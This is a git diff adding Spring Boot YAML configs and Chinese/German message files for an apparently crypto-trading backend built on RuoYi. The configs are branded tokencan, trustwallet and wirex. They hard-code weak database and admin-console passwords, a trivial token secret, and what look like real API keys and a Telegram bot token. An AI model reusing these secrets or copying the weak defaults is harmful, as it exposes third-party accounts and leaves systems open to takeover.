maxActive: 20 + # 配置获取连接等待超时的时间 + maxWait: 60000 + # 配置连接超时时间 + connectTimeout: 30000 + # 配置网络超时时间 + socketTimeout: 60000 + # 配置间隔多久才进行一次检测,检测需要关闭的空闲连接,单位是毫秒 + timeBetweenEvictionRunsMillis: 60000 + # 配置一个连接在池中最小生存的时间,单位是毫秒 + minEvictableIdleTimeMillis: 300000 + # 配置一个连接在池中最大生存的时间,单位是毫秒 + maxEvictableIdleTimeMillis: 900000 + # 配置检测连接是否有效 + validationQuery: SELECT 1 FROM DUAL + testWhileIdle: true + testOnBorrow: false + testOnReturn: false + webStatFilter: + enabled: true + statViewServlet: + enabled: true + # 设置白名单,不填则允许所有访问 + allow: + url-pattern: /druid/* + # 控制台管理用户名和密码 + login-username: ruoyi + login-password: 123456 + filter: + stat: + enabled: true + # 慢SQL记录 + log-slow-sql: true + slow-sql-millis: 1000 + merge-sql: true + wall: + config: + multi-statement-allow: true + +# 日志配置 +logging: + level: + com.ruoyi: info + org.springframework: warn \ No newline at end of file diff --git a/ruoyi-api/src/main/resources/application-tokencan.yml b/ruoyi-api/src/main/resources/application-tokencan.yml new file mode 100644 index 0000000..ddbd905 --- /dev/null +++ b/ruoyi-api/src/main/resources/application-tokencan.yml @@ -0,0 +1,94 @@ +app: + name: tokencan +# 开发环境配置 +server: + # 服务器的HTTP端口,默认为8080 + port: 9010 +# 数据源配置 +spring: + # redis 配置 + redis: + # 地址 + host: localhost + # 端口,默认为6379 + port: 6379 + # 数据库索引 + database: 1 + # 密码 + password: + # 连接超时时间 + timeout: 10s + lettuce: + pool: + # 连接池中的最小空闲连接 + min-idle: 0 + # 连接池中的最大空闲连接 + max-idle: 32 + # 连接池的最大数据库连接数 + max-active: 32 + # #连接池最大阻塞等待时间(使用负值表示没有限制) + max-wait: -1ms + datasource: + type: com.alibaba.druid.pool.DruidDataSource + driverClassName: com.mysql.cj.jdbc.Driver + druid: + # 主库数据源 + master: + + url: jdbc:mysql://localhost:3306/tokencan?useUnicode=true&characterEncoding=utf8&zeroDateTimeBehavior=convertToNull&useSSL=true&serverTimezone=GMT%2B8 + username: root + password: 12345678 + # 从库数据源 + slave: + # 从数据源开关/默认关闭 + enabled: false + url: + username: + password: + # 初始连接数 + initialSize: 5 + # 最小连接池数量 + minIdle: 10 + # 最大连接池数量 + maxActive: 20 + # 配置获取连接等待超时的时间 + maxWait: 60000 + # 配置连接超时时间 + connectTimeout: 30000 + # 配置网络超时时间 + socketTimeout: 60000 + # 配置间隔多久才进行一次检测,检测需要关闭的空闲连接,单位是毫秒 + timeBetweenEvictionRunsMillis: 60000 + # 配置一个连接在池中最小生存的时间,单位是毫秒 + minEvictableIdleTimeMillis: 300000 + # 配置一个连接在池中最大生存的时间,单位是毫秒 + maxEvictableIdleTimeMillis: 900000 + # 配置检测连接是否有效 + validationQuery: SELECT 1 FROM DUAL + testWhileIdle: true + testOnBorrow: false + testOnReturn: false + webStatFilter: + enabled: true + statViewServlet: + enabled: true + # 设置白名单,不填则允许所有访问 + allow: + url-pattern: /druid/* + # 控制台管理用户名和密码 + login-username: ruoyi + login-password: 123456 + filter: + stat: + enabled: true + # 慢SQL记录 + log-slow-sql: true + slow-sql-millis: 1000 + merge-sql: true + wall: + config: + multi-statement-allow: true +logging: + level: + com.ruoyi: info + org.springframework: warn \ No newline at end of file diff --git a/ruoyi-api/src/main/resources/application-trustwallet.yml b/ruoyi-api/src/main/resources/application-trustwallet.yml new file mode 100644 index 0000000..bcb5a22 --- /dev/null +++ b/ruoyi-api/src/main/resources/application-trustwallet.yml @@ -0,0 +1,95 @@ +app: + name: trustwallet +# 开发环境配置 +server: + # 服务器的HTTP端口,默认为8080 + port: 8001 +# 数据源配置 +spring: + # redis 配置 + redis: + # 地址 + host: localhost + # 端口,默认为6379 + port: 6379 + # 数据库索引 + database: 1 + # 密码 + password: + # 连接超时时间 + timeout: 10s + lettuce: + pool: + # 连接池中的最小空闲连接 + min-idle: 0 + # 连接池中的最大空闲连接 + max-idle: 32 + # 连接池的最大数据库连接数 + max-active: 32 + # #连接池最大阻塞等待时间(使用负值表示没有限制) + max-wait: -1ms + datasource: + type: com.alibaba.druid.pool.DruidDataSource + driverClassName: com.mysql.cj.jdbc.Driver + druid: + # 主库数据源 + master: + + url: jdbc:mysql://localhost:3306/trustwallet?useUnicode=true&characterEncoding=utf8&zeroDateTimeBehavior=convertToNull&useSSL=true&serverTimezone=GMT%2B8 + username: root + password: 12345678 + # 从库数据源 + slave: + # 从数据源开关/默认关闭 + enabled: false + url: + username: + password: + # 初始连接数 + initialSize: 5 + # 最小连接池数量 + minIdle: 10 + # 最大连接池数量 + maxActive: 20 + # 配置获取连接等待超时的时间 + maxWait: 60000 + # 配置连接超时时间 + connectTimeout: 30000 + # 配置网络超时时间 + socketTimeout: 60000 + # 配置间隔多久才进行一次检测,检测需要关闭的空闲连接,单位是毫秒 + timeBetweenEvictionRunsMillis: 60000 + # 配置一个连接在池中最小生存的时间,单位是毫秒 + minEvictableIdleTimeMillis: 300000 + # 配置一个连接在池中最大生存的时间,单位是毫秒 + maxEvictableIdleTimeMillis: 900000 + # 配置检测连接是否有效 + validationQuery: SELECT 1 FROM DUAL + testWhileIdle: true + testOnBorrow: false + testOnReturn: false + webStatFilter: + enabled: true + statViewServlet: + enabled: true + # 设置白名单,不填则允许所有访问 + allow: + url-pattern: /druid/* + # 控制台管理用户名和密码 + login-username: ruoyi + login-password: 123456 + filter: + stat: + enabled: true + # 慢SQL记录 + log-slow-sql: true + slow-sql-millis: 1000 + merge-sql: true + wall: + config: + multi-statement-allow: true + +logging: + level: + com.ruoyi: info + org.springframework: warn \ No newline at end of file diff --git a/ruoyi-api/src/main/resources/application-wirex.yml b/ruoyi-api/src/main/resources/application-wirex.yml new file mode 100644 index 0000000..9fb56cc --- /dev/null +++ b/ruoyi-api/src/main/resources/application-wirex.yml @@ -0,0 +1,94 @@ +app: + name: wirex +# 开发环境配置 +server: + # 服务器的HTTP端口,默认为8080 + port: 8000 +# 数据源配置 +spring: + # redis 配置 + redis: + # 地址 + host: localhost + # 端口,默认为6379 + port: 6379 + # 数据库索引 + database: 0 + # 密码 + password: + # 连接超时时间 + timeout: 10s + lettuce: + pool: + # 连接池中的最小空闲连接 + min-idle: 0 + # 连接池中的最大空闲连接 + max-idle: 32 + # 连接池的最大数据库连接数 + max-active: 32 + # #连接池最大阻塞等待时间(使用负值表示没有限制) + max-wait: -1ms + datasource: + type: com.alibaba.druid.pool.DruidDataSource + driverClassName: com.mysql.cj.jdbc.Driver + druid: + # 主库数据源 + master: + + url: jdbc:mysql://localhost:3306/wirex?useUnicode=true&characterEncoding=utf8&zeroDateTimeBehavior=convertToNull&useSSL=true&serverTimezone=GMT%2B8 + username: root + password: 12345678 + # 从库数据源 + slave: + # 从数据源开关/默认关闭 + enabled: false + url: + username: + password: + # 初始连接数 + initialSize: 5 + # 最小连接池数量 + minIdle: 10 + # 最大连接池数量 + maxActive: 20 + # 配置获取连接等待超时的时间 + maxWait: 60000 + # 配置连接超时时间 + connectTimeout: 30000 + # 配置网络超时时间 + socketTimeout: 60000 + # 配置间隔多久才进行一次检测,检测需要关闭的空闲连接,单位是毫秒 + timeBetweenEvictionRunsMillis: 60000 + # 配置一个连接在池中最小生存的时间,单位是毫秒 + minEvictableIdleTimeMillis: 300000 + # 配置一个连接在池中最大生存的时间,单位是毫秒 + maxEvictableIdleTimeMillis: 900000 + # 配置检测连接是否有效 + validationQuery: SELECT 1 FROM DUAL + testWhileIdle: true + testOnBorrow: false + testOnReturn: false + webStatFilter: + enabled: true + statViewServlet: + enabled: true + # 设置白名单,不填则允许所有访问 + allow: + url-pattern: /druid/* + # 控制台管理用户名和密码 + login-username: ruoyi + login-password: 123456 + filter: + stat: + enabled: true + # 慢SQL记录 + log-slow-sql: true + slow-sql-millis: 1000 + merge-sql: true + wall: + config: + multi-statement-allow: true +logging: + level: + com.ruoyi: info + org.springframework: warn \ No newline at end of file diff --git a/ruoyi-api/src/main/resources/application.yml b/ruoyi-api/src/main/resources/application.yml new file mode 100644 index 0000000..9702bd7 --- /dev/null +++ b/ruoyi-api/src/main/resources/application.yml @@ -0,0 +1,132 @@ +# 项目相关配置 +ruoyi: + # 名称 + name: RuoYi + # 版本 + version: 3.8.5 + # 版权年份 + copyrightYear: 2023 + # 实例演示开关 + demoEnabled: true + # 文件路径 示例( Windows配置D:/ruoyi/uploadPath,Linux配置 /home/ruoyi/uploadPath) + profile: D:/ruoyi/uploadPath + # 获取ip地址开关 + addressEnabled: false + # 验证码类型 math 数字计算 char 字符验证 + captchaType: math + +# 开发环境配置 +server: + servlet: + # 应用的访问路径 + context-path: / + tomcat: + # tomcat的URI编码 + uri-encoding: UTF-8 + # 连接数满后的排队数,默认为100 + accept-count: 1000 + threads: + # tomcat最大线程数,默认为200 + max: 800 + # Tomcat启动初始化的线程数,默认值10 + min-spare: 100 + +# 用户配置 +user: + password: + # 密码最大错误次数 + maxRetryCount: 5 + # 密码锁定时间(默认10分钟) + lockTime: 10 + +# Spring配置 +spring: + # 资源信息 + messages: + # 国际化资源文件路径 + basename: i18n/messages + profiles: + active: dev + # 文件上传 + servlet: + multipart: + # 单个文件大小 + max-file-size: 10MB + # 设置总上传的文件大小 + max-request-size: 20MB + # 服务模块 + devtools: + restart: + # 热部署开关 + enabled: true + +# token配置 +token: + # 令牌自定义标识 + header: Authorization + # 令牌密钥 + secret: abcdefghijklmnopqrstuvwxyz + # 令牌有效期(默认30分钟) + expireTime: 240 + +# MyBatis Plus配置 +mybatis-plus: + # 搜索指定包别名 + typeAliasesPackage: com.ruoyi.**.domain + # 配置mapper的扫描,找到所有的mapper.xml映射文件 + mapperLocations: classpath*:mapper*/**/*Mapper.xml + # 加载全局的配置文件 + configLocation: classpath:mybatis/mybatis-config.xml + +# PageHelper分页插件 +pagehelper: + helperDialect: mysql + supportMethodsArguments: true + params: count=countSql + +# Swagger配置 +swagger: + # 是否开启swagger + enabled: true + # 请求前缀 + pathMapping: /dev-api + +# 防止XSS攻击 +xss: + # 过滤开关 + enabled: true + # 排除链接(多个用逗号分隔) + excludes: /system/notice + # 匹配链接 + urlPatterns: /system/*,/monitor/*,/tool/* + + +api: + key: 412XIG5HCBA5BUBTUJ5CMJ5IDBGIDVEU31 + eth: + key: MIFUK1NUB2ZFNC2A1VB878Q148336UTG7E +web3j: + url: https://mainnet.infura.io/v3/b631721031a64cfc8a94b911a6640939 +mifeng: + api: + eth: L30PNXBLM9B6PJDSGTIE7MWWFIR3P6YL2ZU7INHB + host: data.block.cc +#tg +telegram: + user: + name: Tetris_Echo2_Bot + token: 6569654388:AAGOibgZcZJPimx2-beGGNF42mENmUbtdd8 + group: + charId: -905665230 + + +#stream 相关配置 +#stream 名称数组 +api-redis-stream: + names: socket_key + #stream 群组名称 + groups: socket_coin +admin-redis-stream: + names: notice_key + #stream 群组名称 + groups: notice diff --git a/ruoyi-api/src/main/resources/banner.txt b/ruoyi-api/src/main/resources/banner.txt new file mode 100644 index 0000000..0931cb8 --- /dev/null +++ b/ruoyi-api/src/main/resources/banner.txt @@ -0,0 +1,24 @@ +Application Version: ${ruoyi.version} +Spring Boot Version: ${spring-boot.version} +//////////////////////////////////////////////////////////////////// +// _ooOoo_ // +// o8888888o // +// 88" . "88 // +// (| ^_^ |) // +// O\ = /O // +// ____/`---'\____ // +// .' \\| |// `. // +// / \\||| : |||// \ // +// / _||||| -:- |||||- \ // +// | | \\\ - /// | | // +// | \_| ''\---/'' | | // +// \ .-\__ `-` ___/-. / // +// ___`. .' /--.--\ `. . ___ // +// ."" '< `.___\_<|>_/___.' >'"". // +// | | : `- \`.;`\ _ /`;.`/ - ` : | | // +// \ \ `-. \_ __\ /__ _/ .-` / / // +// ========`-.____`-.___\_____/___.-`____.-'======== // +// `=---=' // +// ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ // +// 佛祖保佑 永不宕机 永无BUG // +//////////////////////////////////////////////////////////////////// \ No newline at end of file diff --git a/ruoyi-api/src/main/resources/i18n/messages.properties b/ruoyi-api/src/main/resources/i18n/messages.properties new file mode 100644 index 0000000..53d4ae8 --- /dev/null +++ b/ruoyi-api/src/main/resources/i18n/messages.properties @@ -0,0 +1,153 @@ +#\u9519\u8BEF\u6D88\u606F +not.null=* \u5FC5\u987B\u586B\u5199 +user.jcaptcha.error=\u9A8C\u8BC1\u7801\u9519\u8BEF +user.jcaptcha.expire=\u9A8C\u8BC1\u7801\u5DF2\u5931\u6548 +user.not.exists=\u7528\u6237\u4E0D\u5B58\u5728/\u5BC6\u7801\u9519\u8BEF +user.password.not.match=\u7528\u6237\u4E0D\u5B58\u5728/\u5BC6\u7801\u9519\u8BEF +user.password.retry.limit.count=\u5BC6\u7801\u8F93\u5165\u9519\u8BEF{0}\u6B21 +user.password.retry.limit.exceed=\u5BC6\u7801\u8F93\u5165\u9519\u8BEF{0}\u6B21\uFF0C\u5E10\u6237\u9501\u5B9A{1}\u5206\u949F +user.password.delete=\u5BF9\u4E0D\u8D77\uFF0C\u60A8\u7684\u8D26\u53F7\u5DF2\u88AB\u5220\u9664 +user.blocked=\u7528\u6237\u5DF2\u5C01\u7981\uFF0C\u8BF7\u8054\u7CFB\u7BA1\u7406\u5458 +role.blocked=\u89D2\u8272\u5DF2\u5C01\u7981\uFF0C\u8BF7\u8054\u7CFB\u7BA1\u7406\u5458 +login.blocked=\u5F88\u9057\u61BE\uFF0C\u8BBF\u95EEIP\u5DF2\u88AB\u5217\u5165\u7CFB\u7EDF\u9ED1\u540D\u5355 +user.logout.success=\u9000\u51FA\u6210\u529F +user.ops.status=\u64CD\u4F5C\u6210\u529F + +length.not.valid=\u957F\u5EA6\u5FC5\u987B\u5728{min}\u5230{max}\u4E2A\u5B57\u7B26\u4E4B\u95F4 + +user.username.not.valid=* 2\u523020\u4E2A\u6C49\u5B57\u3001\u5B57\u6BCD\u3001\u6570\u5B57\u6216\u4E0B\u5212\u7EBF\u7EC4\u6210\uFF0C\u4E14\u5FC5\u987B\u4EE5\u975E\u6570\u5B57\u5F00\u5934 +user.password.not.valid=* 5-50\u4E2A\u5B57\u7B26 + +user.email.not.valid=\u90AE\u7BB1\u683C\u5F0F\u9519\u8BEF +user.mobile.phone.number.not.valid=\u624B\u673A\u53F7\u683C\u5F0F\u9519\u8BEF +user.login.success=\u767B\u5F55\u6210\u529F +user.register.success=\u6CE8\u518C\u6210\u529F +user.notfound=\u8BF7\u91CD\u65B0\u767B\u5F55 +user.forcelogout=\u7BA1\u7406\u5458\u5F3A\u5236\u9000\u51FA\uFF0C\u8BF7\u91CD\u65B0\u767B\u5F55 +user.unknown.error=\u672A\u77E5\u9519\u8BEF\uFF0C\u8BF7\u91CD\u65B0\u767B\u5F55 + +##\u6587\u4EF6\u4E0A\u4F20\u6D88\u606F +upload.exceed.maxSize=\u4E0A\u4F20\u7684\u6587\u4EF6\u5927\u5C0F\u8D85\u51FA\u9650\u5236\u7684\u6587\u4EF6\u5927\u5C0F\uFF01
\u5141\u8BB8\u7684\u6587\u4EF6\u6700\u5927\u5927\u5C0F\u662F\uFF1A{0}MB\uFF01 +upload.filename.exceed.length=\u4E0A\u4F20\u7684\u6587\u4EF6\u540D\u6700\u957F{0}\u4E2A\u5B57\u7B26 + +##\u6743\u9650 +no.permission=\u60A8\u6CA1\u6709\u6570\u636E\u7684\u6743\u9650\uFF0C\u8BF7\u8054\u7CFB\u7BA1\u7406\u5458\u6DFB\u52A0\u6743\u9650 [{0}] +no.create.permission=\u60A8\u6CA1\u6709\u521B\u5EFA\u6570\u636E\u7684\u6743\u9650\uFF0C\u8BF7\u8054\u7CFB\u7BA1\u7406\u5458\u6DFB\u52A0\u6743\u9650 [{0}] +no.update.permission=\u60A8\u6CA1\u6709\u4FEE\u6539\u6570\u636E\u7684\u6743\u9650\uFF0C\u8BF7\u8054\u7CFB\u7BA1\u7406\u5458\u6DFB\u52A0\u6743\u9650 [{0}] +no.delete.permission=\u60A8\u6CA1\u6709\u5220\u9664\u6570\u636E\u7684\u6743\u9650\uFF0C\u8BF7\u8054\u7CFB\u7BA1\u7406\u5458\u6DFB\u52A0\u6743\u9650 [{0}] +no.export.permission=\u60A8\u6CA1\u6709\u5BFC\u51FA\u6570\u636E\u7684\u6743\u9650\uFF0C\u8BF7\u8054\u7CFB\u7BA1\u7406\u5458\u6DFB\u52A0\u6743\u9650 [{0}] +no.view.permission=\u60A8\u6CA1\u6709\u67E5\u770B\u6570\u636E\u7684\u6743\u9650\uFF0C\u8BF7\u8054\u7CFB\u7BA1\u7406\u5458\u6DFB\u52A0\u6743\u9650 [{0}] + +##\u6CE8\u518C\u7528\u6237\u63D0\u793A +user.register.email.format=\u90AE\u7BB1\u683C\u5F0F\u4E0D\u6B63\u786E +user.register.email.exisit=\u90AE\u7BB1\u5DF2\u5B58\u5728 +user.register.phone.exisit=\u90AE\u7BB1\u5DF2\u5B58\u5728 +user.user_name_exisit=\u7528\u6237\u540D\u5DF2\u7ECF\u5B58\u5728 +login.user_error=\u7528\u6237\u540D\u6216\u5BC6\u7801\u9519\u8BEF +user.login.address.error=\u5730\u5740\u88AB\u5360\u7528! +user.register.phone.exist=\u624B\u673A\u53F7\u5DF2\u7ECF\u5B58\u5728 +user.register.phone.bind=\u624B\u673A\u53F7\u5DF2\u7ECF\u7ED1\u5B9A +#app +app.login.address.not.null=\u7528\u6237\u5730\u5740\u4E3A\u7A7A +login.email.not_register=\u8BF7\u4F7F\u7528\u5DF2\u7ED1\u5B9A\u90AE\u7BB1\u8FDB\u884C\u64CD\u4F5C +login.phone.not_register=\u8BF7\u4F7F\u7528\u5DF2\u7ED1\u5B9A\u624B\u673A\u53F7\u8FDB\u884C\u64CD\u4F5C +login.code_error=\u9A8C\u8BC1\u7801\u9519\u8BEF +user.login.code.error=\u9A8C\u8BC1\u7801\u6548\u9A8C\u5931\u8D25! +user.login.password.null=\u8BF7\u8F93\u5165\u5BC6\u7801! +user.login.upd.success=\u4FEE\u6539\u6210\u529F! +phone_code_empty=\u624B\u673A\u53F7\u4E0D\u80FD\u4E3A\u7A7A! +email.code_empty=\u90AE\u7BB1\u4E0D\u80FD\u4E3A\u7A7A! +user.code.send=\u9A8C\u8BC1\u7801\u53D1\u9001\u6210\u529F +app.verification.email.code=\u9A8C\u8BC1\u7801\u5DF2\u53D1\u9001\u5230\u60A8\u7684\u90AE\u7BB1\uFF0C\u8BF7\u6CE8\u610F\u67E5\u6536 +user.password_bind=\u5BC6\u7801\u5DF2\u7ECF\u8BBE\u7F6E\uFF0C\u8BF7\u52FF\u91CD\u590D\u7ED1\u5B9A +user.login.null=\u7528\u6237\u4E0D\u5B58\u5728\uFF01 +user.login.old.password=\u65E7\u5BC6\u7801\u672A\u8F93\u5165\uFF01 +user.login.new.password=\u65B0\u5BC6\u7801\u672A\u8F93\u5165\uFF01 +user.login.paw.upd=\u65B0\u5BC6\u7801\u4E0D\u80FD\u4E0E\u65E7\u5BC6\u7801\u4E00\u81F4\uFF01 +user.login.old.password.error=\u65E7\u5BC6\u7801\u9519\u8BEF\uFF01 +user.login.address.null=\u5730\u5740\u4E3A\u7A7A\uFF01 +user.login.userid.null=\u7528\u6237ID\u4E3A\u7A7A\uFF01 +#\u63D0\u73B0 +user.password_notbind=\u8BF7\u8BBE\u7F6E\u5B89\u5168\u5BC6\u7801 +tard_password.error=\u652F\u4ED8\u5BC6\u7801\u9519\u8BEF +withdraw.amount_number_exceed=\u5F53\u65E5\u63D0\u73B0\u8D85\u8FC7\u8BBE\u5B9A\u6B21\u6570 +withdraw_error=\u4F59\u989D\u4E0D\u8DB3\uFF0C\u65E0\u6CD5\u63D0\u73B0 +withdraw.amount_error=\u63D0\u73B0\u91D1\u989D\u9519\u8BEF\uFF0C\u8BF7\u4FEE\u6539 +withdraw.refresh=\u8BF7\u5237\u65B0 +withdraw.address.isnull=\u8BF7\u586B\u5199\u6B63\u786E\u7684\u63D0\u73B0\u5730\u5740\uFF01 +withdraw.kyc.error=\u8BF7\u5148\u5B8C\u6210\u5B9E\u540D\u8BA4\u8BC1\uFF0C\u89E3\u9664\u9650\u989D +withdraw_require_error = \u76EE\u524D\u8FD8\u9700\u8981\u73A9\u5269\u4E0B\u7684\u6D41\u6C34 +withdraw_error_coin=\u6B64\u5E01\u79CD\u4E0D\u5B58\u5728 +withdraw_error_rate=\u6B64\u5E01\u79CD\u6C47\u7387\u4E0D\u5B58\u5728 +#\u5B9E\u540D\u8BA4\u8BC1 +user.kyc.not_blank=\u8EAB\u4EFD\u8BA4\u8BC1\u4FE1\u606F4\u9879\u90FD\u662F\u5FC5\u586B + +#\u5151\u6362 +exchange.record.exist.error=\u60A8\u6709\u4E00\u7B14\u5151\u6362\u6B63\u5728\u8FDB\u884C\u4E2D\uFF0C\u7A0D\u540E\u518D\u8BD5 +exchange.symbol.exist = \u5151\u6362\u7684\u5E01\u79CD\u4E0D\u80FD\u4E3A\u7A7A,\u5151\u6362\u91D1\u989D\u5FC5\u987B\u5927\u4E8E0 +recharge.amout.min=\u6700\u5C0F\u5145\u503C\u91D1\u989D\u4E3A{0} +recharge.amout.max=\u6700\u5927\u5145\u503C\u91D1\u989D\u4E3A{0} +currency.exchange_min = \u6700\u5C0F\u5151\u6362\u91D1\u989D\u4E3A{0} +currency.exchange_max = \u6700\u5927\u5151\u6362\u91D1\u989D\u4E3A{0} +exchange_symbol_error_exist = \u5151\u6362\u5E01\u79CD\u4E0D\u5B58\u5728 + +contract.accont.error=\u5408\u7EA6\u8D26\u6237\u4F59\u989D\u4E0D\u8DB3 +contract.min.share=\u6700\u4F4E\u8D2D\u4E70\u6570\u4E3A{0} +contract.max.share=\u6700\u9AD8\u8D2D\u4E70\u6570\u4E3A{0} +contract.asset.error=\u5408\u7EA6\u8D26\u6237\u4F59\u989D\u4E0D\u8DB3 +adjust.min.error=\u51CF\u5C11\u7684\u4FDD\u8BC1\u91D1\u4E0D\u80FD\u5C0F\u4E8E\u521D\u59CB\u4FDD\u8BC1\u91D1 +order.status.error=\u975E\u6CD5\u63D0\u4EA4 +contract.buy.earn.error=\u4E70\u5165\u505A\u591A\uFF0C\u6B62\u76C8\u4EF7\u4E0D\u80FD\u5C0F\u4E8E\u5F00\u4ED3\u5747\u4EF7 +contract.buy.loss.error=\u4E70\u5165\u505A\u591A\uFF0C\u6B62\u635F\u4EF7\u4E0D\u80FD\u5927\u4E8E\u5F00\u4ED3\u5747\u4EF7 +contract.sell.earn.error=\u5356\u51FA\u5F00\u7A7A\uFF0C\u6B62\u76C8\u4EF7\u4E0D\u80FD\u5927\u4E8E\u5F00\u4ED3\u5747\u4EF7 +contract.sell.loss.error=\u5356\u51FA\u5F00\u7A7A,\u6B62\u635F\u4EF7\u4E0D\u80FD\u5C0F\u4E8E\u5F00\u4ED3\u5747\u4EF7 +contract.num.limit=\u6570\u91CF\u4E0D\u80FD\u5927\u4E8E\u6301\u4ED3\u91CF + +#\u5E01\u5E01\u4EA4\u6613 +currency.coin.setting.nonexistent=\u5F53\u524D{}\u914D\u7F6E\u4E0D\u5B58\u5728 +currency.balance.deficiency=\u5F53\u524D{}\u5E01\u79CD\u4F59\u989D\u4E0D\u8DB3 +currency.deal.error=\u6B64\u5E01\u79CD\u4E0D\u53EF\u4EA4\u6613 +currency.sell.min.error=\u6700\u4F4E\u5356\u5355\u4EF7:{0} +currency.buy.max.error=\u6700\u9AD8\u4E70\u5355\u4EF7:{0} +currency.order.min.error=\u6700\u5C0F\u4E0B\u5355\u91CF\u4E3A{0} +currency.order.max.error=\u6700\u5927\u4E0B\u5355\u91CF\u4E3A{0} +currency.market.buy.error=\u6B64\u5E01\u79CD\u4E0D\u53EF\u4EE5\u8FDB\u884C\u5E02\u4EF7\u4E70\u4EA4\u6613 +currency.market.sell.error=\u6B64\u5E01\u79CD\u4E0D\u53EF\u4EE5\u8FDB\u884C\u5E02\u4EF7\u5356\u4EA4\u6613 +currency.limited.buy.error=\u6B64\u5E01\u79CD\u4E0D\u53EF\u4EE5\u8FDB\u884C\u9650\u4EF7\u4E70\u4EA4\u6613 +currency.limited.sell.error=\u6B64\u5E01\u79CD\u4E0D\u53EF\u4EE5\u8FDB\u884C\u9650\u4EF7\u5356\u4EA4\u6613 +order.amount_error=\u7406\u8D22\u8D26\u6237\u4F59\u989D\u4E0D\u8DB3 +order.10s_retry=\u4E0B\u5355\u8FC7\u4E8E\u9891\u7E41\uFF0C\u8BF710s\u540E\u5C1D\u8BD5\u4E0B\u5355... +order_amount_error=\u94B1\u5305\u4F59\u989D\u4E0D\u8DB3\uFF0C\u65E0\u6CD5\u8D2D\u4E70 +order_amount_limit=\u4E0D\u7B26\u5408\u91D1\u989D\u4E0A\u4E0B\u9650 + +back.code.exist.error = \u94F6\u884C\u5361\u53F7\u5DF2\u7ECF\u5B58\u5728{} +contract.delivery.day=\u8DDD\u79BB\u4EA4\u5272\u65F6\u95F4\u8FD8\u6709\uFF1A{0}\u5929\u3002 +contract.delivery.margan=\u8DDD\u79BB\u4EA4\u5272\u65F6\u95F4\u8FD8\u6709\uFF1A{0}\u5929\uFF1B\u5982\u60A8\u7684\u5408\u7EA6\u603B\u8D44\u4EA7\u5927\u4E8E\u7B49\u4E8E{1} USDT \u6216\u8005\u6301\u4ED3\u4FDD\u8BC1\u91D1\u5C0F\u4E8E\u7B49\u4E8E{2}USDT,\u53EF\u4EE5\u63D0\u524D\u5E73\u4ED3\u3002 +contract.delivery.earn=\u8DDD\u79BB\u4EA4\u5272\u65F6\u95F4\u8FD8\u6709\uFF1A{0}\u5929\uFF1B\u5982\u60A8\u7684\u5408\u7EA6\u603B\u8D44\u4EA7\u5927\u4E8E\u7B49\u4E8E{1} USDT \u53EF\u4EE5\u63D0\u524D\u5E73\u4ED3\u3002 +contract.delivery.loss=\u8DDD\u79BB\u4EA4\u5272\u65F6\u95F4\u8FD8\u6709\uFF1A{0}\u5929\uFF1B\u5982\u60A8\u7684\u5408\u7EA6\u603B\u8D44\u4EA7\u5C0F\u4E8E\u7B49\u4E8E{1}USDT,\u53EF\u4EE5\u63D0\u524D\u5E73\u4ED3\u3002 +order.audit.error=\u6B63\u5728\u5BA1\u6838\u4E2D +order.audit.pass=\u6B63\u5728\u5145\u503C\u4E2D\uFF0C\u9700\u8981\u5168\u74035\u4E2A\u8282\u70B9\u786E\u8BA4\uFF0C\u8BF7\u60A8\u8010\u5FC3\u7B49\u5F85 + +#\u7533\u8D2D +own.coin.limit.num= \u53EF\u8D2D\u4E70\u6570\u91CF{0} +own.coin.limit= \u53EF\u7528\u4F59\u989D{0} +own.coin.success= \u7533\u8D2D\u6210\u529F +own.coin.error= \u7CFB\u7EDF\u9519\u8BEF\uFF0C\u8BF7\u8054\u7CFB\u7BA1\u7406\u5458 +own.coin.sub.play=\u60A8\u5DF2\u7533\u8D2D\uFF0C\u8BF7\u52FF\u91CD\u590D\u63D0\u4EA4\uFF01 +own.coin.sub.error=\u672A\u8BA2\u9605\u6210\u529F\u4E0D\u53EF\u7533\u8D2D +own.coin.sub.success=\u60A8\u5DF2\u83B7\u5F97 {0} \u7533\u8D2D\u8D44\u683C +own.coin.sub.num.error=\u8BF7\u586B\u5199\u6B63\u786E\u6570\u91CF +order.sell.min.error=\u6700\u4F4E\u5356\u51FA\u91CF\u4E3A{0} +order.audit.reject=\u5E73\u4ED3\u5931\u8D25 + +#\u65B0\u53D1\u5E01\u8BA2\u9605 +own.coin.subscribe.success=\u8BA2\u9605\u6210\u529F +own.coin.subscribe.error=\u8BA2\u9605\u5931\u8D25 +user.appname=\u4E2D\u6587 +user.tard.password_bind=\u5B89\u5168\u5BC6\u7801\u5DF2\u7ECF\u8BBE\u7F6E\uFF0C\u8BF7\u52FF\u91CD\u590D\u7ED1\u5B9A + +#\u5B9E\u540D\u8BA4\u8BC1 +user.authentication.not.certified = \u8BF7\u5148\u8FDB\u884C\u521D\u7EA7\u8BA4\u8BC1 + +#\u9ED1\u540D\u5355 +user_is_black = \u60A8\u7684\u8D26\u53F7\u5DF2\u88AB\u5217\u5165\u9ED1\u540D\u5355\uFF0C\u65E0\u6CD5\u767B\u5F55\u3002 \ No newline at end of file diff --git a/ruoyi-api/src/main/resources/i18n/messages_de.properties b/ruoyi-api/src/main/resources/i18n/messages_de.properties new file mode 100644 index 0000000..ba35c6a --- /dev/null +++ b/ruoyi-api/src/main/resources/i18n/messages_de.properties @@ -0,0 +1,164 @@ +user.appname=\u5FB7\u8BED + +#\u9519\u8BEF\u6D88\u606F +not.null= required +user.jcaptcha.error=Verification code error +user.jcaptcha.expire=Verification code has expired +user.not.exists=User does not exist/wrong password +user.password.not.match=User does not exist/wrong password +user.password.retry.limit.count=The wrong password was entered {0} times +user.password.retry.limit.exceed=The password was entered incorrectly {0} times, and the account was locked for {1} minutes +user.password.delete=Sorry, your account has been deleted +user.blocked=The user has been banned, please contact the administrator +role.blocked=The role has been banned, please contact the administrator +login.blocked=Unfortunately, the access IP has been blacklisted by the system +user.logout.success=exit successfully +user.ops.status=Successful operation, Please wait + +length.not.valid=Length must be between {min} and {max} characters + +user.username.not.valid=* 2 to 20 Chinese characters, letters, numbers or underscores, and must start with a non-number +user.password.not.valid=* 5-50 characters + +user.email.not.valid=E-mail format error +user.mobile.phone.number.not.valid=Malformed phone number +user.login.success=login successful +user.register.success=registration success +user.notfound=please login again +user.forcelogout=The administrator forcibly logged out, please log in again +user.unknown.error=Unknown error, please log in again + +##\u6587\u4EF6\u4E0A\u4F20\u6D88\u606F +upload.exceed.maxSize=The uploaded file size exceeds the file size limit! The maximum allowed file size is: {0}MB! +upload.filename.exceed.length=The maximum length of the 